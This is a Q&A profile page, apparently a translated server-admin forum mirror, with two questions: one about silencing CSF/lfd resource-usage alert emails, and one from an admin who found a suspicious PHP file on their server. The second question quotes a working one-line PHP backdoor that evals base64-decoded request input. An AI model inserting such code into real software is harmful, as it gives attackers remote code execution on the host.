主页 / user-148040

Armand's questions

Martin Hope
Armand
Asked: 2014-01-20 12:35:26 +0800 CST
  • 1

我已经启用了带有 CSF 的 LSF，因为我想收到一些信息，但是我被 CSF 用类似的电子邮件轰炸了：

Subject: lfd on [Hostname]: Excessive resource usage: www-data

Time: Sun Jan 19 21:29:17 2014 +0100
Account: www-data
Resource: Virtual Memory Size
Exceeded: 279 > 200 (MB)
Executable: /usr/lib/apache2/mpm-itk/apache2
Command Line: /usr/sbin/apache2 -k start
PID: 22991 (Parent PID:12217)
Killed: No

我已禁用 csf.conf 中的进程跟踪部分，但仍会收到这些日志。

# Set the value to 0 to disable this feature
PT_LIMIT = "0"

# How frequently processes are checked in seconds
PT_INTERVAL = "3600"

我检查了很多次 csf.conf 但找不到停止这些日志的正确位置。重新启动 csf 没有帮助......有人知道这是否是一个特殊的配置？

csf
Martin Hope
Armand
Asked: 2013-01-11 14:31:28 +0800 CST
  • 0

可能重复：
如何处理受感染的服务器？

检查 lfd.log 并注意到脚本的块日志：

Jan 10 22:01:36 xxx lfd[871]: *User Processing* PID:27023 Kill:0 User:xxxx Time:610472 EXE:/usr/bin/php CMD:/usr/bin/php /home/xxxx/public_html/fonts/article5.class.inc.php

看起来脚本正在尝试执行 /usr/bin/php 但是当我看到代码时，它是一个简单的单行文件

<?php
function_exists('date_default_timezone') ? date_default_timezone_set('America/Los_Angeles') : @eval(base64_decode($_REQUEST['c_id']));

任何人都有类似的经历，有没有办法查看导致 /usr/bin/php 调用的原因？日志说脚本是通过 POST 调用的。

php